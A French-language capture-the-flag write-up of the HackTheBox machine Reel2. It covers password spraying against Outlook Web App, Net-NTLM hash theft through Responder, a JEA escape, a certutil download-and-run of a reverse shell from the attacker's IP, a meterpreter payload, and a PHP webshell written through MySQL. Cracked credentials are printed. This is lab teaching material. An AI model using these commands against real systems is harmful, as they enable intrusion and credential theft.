CTF — HackTheBox —Reel2
- IP de la machine Reel2 : 10.129.29.186
- IP de l’attaquant : 10.10.14.67 (susceptible de changer en 10.10.14.32)
Reconnaissance avec Nmap
$> nmap -A -p- -sS -oN nmap_full 10.129.29.186# Nmap 7.91 scan initiated Fri Jan 29 16:00:29 2021 as: nmap -A -p- -sS -oN nmap_full 10.129.29.186
Nmap scan report for Reel2.htb.local (10.129.29.186)
Host is up (0.041s latency).
Not shown: 65519 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
|_http-server-header: Microsoft-IIS/8.5
|_http-title: 403 - Forbidden: Access is denied.
443/tcp open ssl/http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=Reel2
| Subject Alternative Name: DNS:Reel2, DNS:Reel2.htb.local
| Not valid before: 2020-07-30T10:12:46
|_Not valid after: 2025-07-30T10:12:46
|_ssl-date: 2021-01-29T15:03:23+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
[...]
6022/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Apache httpd 2.4.43 ((Win64)
[...]
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
[...]
Nous avons 3 ports qui vont être utiles pour la réalisation du challenge:
- 443/tcp — web : On accède à un Outlook Web App (owa). Un compte est nécessaire pour y accéder.
- 5985/tcp — winrm: Pour utiliser WinRM afin d’exécuter du code.
- 8080/tcp — web: Wallstand, un réseau social. Il est possible de se créer un compte pour y accéder
8080/tcp — Wallstand — Reconnaissance
Après avoir créé un compte, on arrive sur l’interface suivante.
En regardant les exploits disponibles concernant le software Wallstand :
- Post-jacking : https://github.com/munafio/wallstant/issues/40
- reflected XSS : https://github.com/munafio/wallstant/issues/38
Cependant, il m’ait été impossible de les utiliser dans le but de voler un compte. Nous allons donc faire de l’énumération !
8080/tcp — Wallstand —Enumération
Pour cela, nous avons besoin d’une liste d’utilisateur et de mot de passe. Les utilisateurs sont clairements renseignés sur le site. Pour les mots de passe, nous allons utiliser les mots dans les posts des utilisateurs.
usernames_base.txt :
cube0x0
cube
sven
svensson
lars
larsson
jenny
adams
teresa
trump
passwords_base.txt :
Enjoying
fika
egre55
summer
hot
Ensuite, nous allons ‘muter’ les usernames et mots de passe. Voici un exemple,
- Pour les utilisateurs, voici une mutation possible : ‘sven’ => ‘s.sven’
- Pour les mots de passe : ‘fika’ => ‘Fika2021!’
Pour cela, nous allons utiliser les scripts suivants pour nos mutations,
- Pour les utilisateurs : https://gist.github.com/superkojiman/11076951
- Pour les mots de passe : https://github.com/localh0t/m4ngl3m3
python main.py --from-year 2020 --to-year 2021 -mm normal,firstup suffix-mode ../passwords_base.txt ../passwords.txt
Nous pouvons désormais utiliser nos wordlists afin d’obtenir un accès sur l’Outlook Web App!
443/tcp — Outlook Web App — Brute Force
Il est possible d’utiliser l’utilitaire présent dans msfconsole via les commandes suivantes :
use auxiliary/scanner/http/owa_login
set RHOST reel2.htb
set USER_FILE ‘users.txt’
set PASS_FILE ‘passwords.txt’
Cependant, celui-ci n’est pas multi-thread rendant ainsi la tâche très longue.
Nous pouvons utiliser le tool de ‘byt3bl33d3r’ qui est beaucoup plus efficace :
https://github.com/byt3bl33d3r/SprayingToolkit/blob/master/atomizer.py
python atomizer.py owa reel2.htb ‘passwords.txt’ ‘users.txt’ -interval 00:00:01 -targetPort 443 -thread 100
On trouve les identifiants pour le compte ‘s.svensson’:
HTB\s.svensson
s.svensson:Summer2020
443/tcp — Outlook Web App — Love Letter
Nous pouvons nous connecter sur le webmail cependant, il n’y a pas d’information à part sa liste de contact.
L’idée est d’envoyer un mail à tous les contacts contenant un lien vers le serveur de l’attaquant. En effet, le software de microsoft va résoudre le lien que nous allons envoyer et va tout simplement nous envoyer ses information d’authentification (hash net-NTLM). Voici, un lien plus détaillé concernant l’attaque : https://blog.blazeinfosec.com/love-letters-from-the-red-team-from-e-mail-to-ntlm-hashes-with-microsoft-outlook/
Pour cela, nous devons utiliser l’outil Responder qui va nous permettre de mettre en place un faux serveur HTTP et récupérer le hash Net-NTLM : https://github.com/lgandx/Responder
Une fois Responder lancé, il suffit d’envoyer un mail à tous les contacts de svensson avec le contenu suivant :
Remarque : Il est impossible de réutiliser le hash net-NTLM comme des identifiants classiques. Cependant, il est possible de faire du NTLM relaying et je vous conseille de lire l’article de byt3bl33d3r : https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
Nous avons récupéré le hash suivant :
k.svensson::htb:fb018caa4632eaed:2F41D4E25AF024F27D3DA4B397E1B3A2:01010000000000005806ED0CD6F7D6013EC83FD6F07EF6CD000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0008003000300000000000000000000000004000002057297B901B91816CA46C56769BA7E33E492794A6D65F51F4D6B1E8D45E2E6E0A001000000000000000000000000000000000000900200048005400540050002F00310030002E00310030002E00310034002E00330032000000000000000000
Nous allons utiliser JohnTheRipper pour le cracker.
Nous obtenons un nouvel identifiant :
HTB\k.svensson
kittycat1
5985/tcp — WinRM — Connection
Dans le write-up précédent, nous avons utilisé evil-winrm pour se connecter avec un powershell interactif en utilisant WinRM : https://medium.com/prohacktive/hackthebox-worker-fb50b58f1dd8
Cependant, cet outil fait appel à des fonctionnalités non disponibles dans le powershell invoqué par WinRM. Nous allons donc installer sur notre machine les paquets ‘powershell’ et ‘gss-ntlmssp’ pour nous connecter sur la machine de victime.
5985/tcp — WinRM — Escape from JEA
Nous allons nous connecter avec les commandes suivantes,
$> pwsh
$cred=Get-Credential
HTB\k.svensson
kittycat1
Enter-PSSession -Computer 10.129.29.186 -Authentication Negotiate -cred $cred
… et nous remarquons que nous sommes dans un powershell restreint : JEA.
On voit qu’il est possible de faire certaines choses :
- Exécuter des commands en ‘Script Block’. On peut lire le flag de l’utilisateur.
- Lister les fichiers en appuyant sur la touche <TAB> (\t)
- Lister les commands en tapant la commande ‘command’
Notre objectif est de sortir du context du JEA (‘JEA escape’)… Et bien, il est possible de sortir de ce context en redéfinissant tout simplement une de nos fonction autorisée. Par exemple, nous pouvons redéfinir la fonction ‘Get-Command’ afin d’obtenir un powershell sans restriction avec,
function Get-Command {param($params) powershell $params}
Nous allons faire notre ‘download-exec’ afin d’obtenir un reverse shell. Pour cela, nous avons besoin de :
Sur la machine de l’attaquant,
- Une payload reverse TCP à configurer, on utilisera celle-ci : https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
- Ouvrir un serveur web contenant notre payload ‘rsh.ps1’ sur le port 8080.
python -m http.server 8080
- Ouvrir un listener ‘ncat’ afin d’accueillir notre reverse shell.
ncat -nvl 4444
Sur la machine de l’attaquant,
- Redéfinir une command autorisée, ici ‘Get-Help’, pour télécharger et exécuter notre payload.
function Get-Help { certutil.exe -urlcache -split -f http://10.10.14.67:8080/rsh.ps1 rsh.ps1; powershell .\rsh.ps1}
- Lancer notre download-exec en tapant:
Get-Help
Voici le résultat !
Nous pouvons obtenir le flag dans les règles de l’art.
Il y a fichier ‘Sticky Notes.lnk’ qui attire notre attention. En effet, le Desktop du compte utilisateur contient uniquement le fichier user.txt, c’est un indice !
5985/tcp — WinRM —own jea_test_account
Nous avons 2 pistes pour élever nos privilèges :
- Le ‘Sticky Notes.lnk’.
- les fichiers de profils JEA laissés dans le répertoire courant de k.svensson.
En utilisant notre powershell, on peut confirmer l’existence du compte jea_test_account.
Cherchons les informations de ‘Sticky Notes’ dans le ‘appdata’ de notre utilisateur. On peut lancer une recherche de fichier dans notre powershell avec,
Get-Childitem “C:\Users\k.svensson\appdata” -Recurse -Include *sticky*
Ce qui nous intéresse se trouve ici :
C:\Users\k.svensson\appdata\Roaming\stickynotes
Nous allons chercher tous les fichiers contenant la donnée ‘jea_test_account’.
dir -recurse *.* | sls -pattern “jea_test_account” | select -unique path
Ce qui nous donne le résultat suivant,
Cependant, il n’est pas trivial de le lire directement puisqu’il contient des informations binaires fermant notre reverse shell ! :(
Nous ne pouvons pas non plus exploiter directement le fichier car il est en cours d’utilisation. Nous allons tout simplement le copier quelque part et utiliser certutil.exe afin de l’encoder en base64.
Coté attaquant, nous pouvons récupérer les informations contenues dans ce fichier comme … le mot de passe du compte jea_test_account !
Voici les identifiants du compte,
jea_test_account
Ab!Q@vcg^%@#1
5985/tcp — WinRM — Lire le flag root avec JEA
D’après la configuration présente dans le répertoire courant de k.svensson
Voici un extrait de la configuration qui nous intéresse,
[...] -or $Path -like “C:\ProgramData\*” ; if($check) {get-content $Path}” [...]
Ce qui veut carrément dire que nous avons les privilèges ‘Administrator’ pour lire les fichiers. On peut alors compromettre le flag de l’Administrateur de cette façon,
C:\Users\Administrator\Desktop\root.txt => ne marche pas! :(
C:\ProgramData\..\Users\Administrator\Desktop\root.txt => marche! :D
Nous pouvons nous connecter avec les identifiants de jea_test_account avec
$> pwsh
$cred=Get-Credential
HTB\jea_test_account
Ab!Q@vcg^%@#1
Enter-PSSession -Computer 10.129.29.186 -Authentication Negotiate -cred $cred -ConfigurationName “jea_test_account”
Voici les commandes disponibles,
Cependant, il est impossible d’obtenir un powershell avec ce compte. En effet, la redéfinition de fonction est impossible car on est en mode ‘no-language’
Il est possible cependant d’obtenir le flag de l’Administrator avec la technique de ‘..\’ énoncé plus haut.
5985/tcp — WinRM —Donne moi mon shell root !
En cherchant un peu, il est possible d’obtenir un véritable shell Administrateur. Il est possible de lire les fichiers appartenant à des comptes à privilège avec jea_test_account. En revenant sur les fichiers PHP du site Wallstand, on peut lire le fichier ‘hashtag.php’ (qui avait été utilisé dans la XSS au début qui a mené à rien… lol).
Ce fichier nous donne un chemin vers le fichier ‘config/connect.php’ qui est très intéressant.
Nous avons les identifiants ‘root’ de la base de donnée. Cependant, le scan Nmap n’a jamais signalé le port 3306/tcp dans ses résultats. En effet, le service est en écoute localement sur la machine.
L’idée est de faire du ‘port forwarding’. Nous allons donc ‘prendre’ le port 3306/tcp de la machine victime afin de le ‘mettre’ sur la machine de l’attaquant.
Remarque: J’ai utilisé la fonctionnalité de meterpreter pour le faire. J’ai pensé à plink.exe mais je n’avais pas envie de laisser trainer un mot de passe SSH d’un quelconque compte sur cette machine.
Nous allons créer une payload meterpreter et l’exécuter avec le compte k.svensson avec notre download-exec vu précédement.
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe LHOST=10.10.14.67 LPORT=4445 -o /tmp/mtp.exe
Nous configurons le listener avec msfconsole :
$> msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 4445
set LHOST 10.10.14.67
Dans la session meterpreter, faire le port forwarding du 3306/tcp.
portfwd add -l 3306 -p 3306 -r 127.0.0.1
Le ‘127.0.0.1’ est le localhost de la machine de la victime (qui est à distance)
Il est possible d’utiliser le mysql de reel2 depuis la machine de l’attaquant.
Nous pouvons écrire un peu partout. L’idée va être de faire exécuter du code PHP sur le site de Wallstand. Pour cela, nous allons créer un petit webshell avec la commande SQL,
SELECT ‘<?php system($_GET[\’s\’]); ?>’ INTO OUTFILE ‘C:\\xampp\\htdocs\\social\\helloooo.php’;
Le webshell est accessible directement depuis la racine du site. Pour exécuter des commandes, il suffit de renseigner le paramètre GET ‘s’ avec le contenu de la command. On peut faire un ‘whoami’
Nous avons donc la possibilité d’exécuter du code avec le plus de privilège possible! Nous allons couper la connection avec la session de k.svensson afin de laisser place à notre compte root. Nous allons réutiliser le reverse TCP powershell.
Il suffit de taper dans Firefox :
http://10.129.29.186:8080/helloooo.php?s=powershell%20C:\Users\k.svensson\Documents\rsh.ps1
Nous avons maintenant un shell Administrator sur la machine Reel2!
Merci de m’avoir lu! @+